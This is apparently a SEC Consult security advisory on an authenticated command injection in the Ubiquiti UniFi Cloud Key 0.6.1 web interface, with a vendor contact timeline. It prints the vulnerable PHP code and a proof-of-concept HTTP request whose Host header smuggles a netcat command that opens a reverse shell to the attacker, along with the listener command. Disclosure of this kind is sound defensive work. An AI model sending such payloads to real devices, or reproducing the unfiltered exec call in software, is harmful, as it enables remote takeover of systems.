Business recommendation:
------------------------
SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
-----------------
The following PHP snipplet is responsible for the command execution vulnerability:

(api.inc, line 265)
-------------------------------------------------------------------------------
[...]
function is_unifi_running() {
    if (!isset($_SERVER['HTTP_HOST'])) {
            $c_host = $_SERVER['SERVER_ADDR'];
    } else {
            $c_host = $_SERVER['HTTP_HOST'];
    }
    $unifi_href = 'http://' . $c_host . ':8080/status';
    exec(CMD_CURL . $unifi_href, $out, $rc);
    if ($rc == 0) {
        return true;
    }
    return false;
}
[...]
-------------------------------------------------------------------------------

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):
-------------------------------------------------------------------------------
GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://192.168.0.30/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
-------------------------------------------------------------------------------

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
-----------------------------
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.


Vendor contact timeline:
------------------------
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
            "Triaged".
2017-04-24: Asking for a status update; No answer.
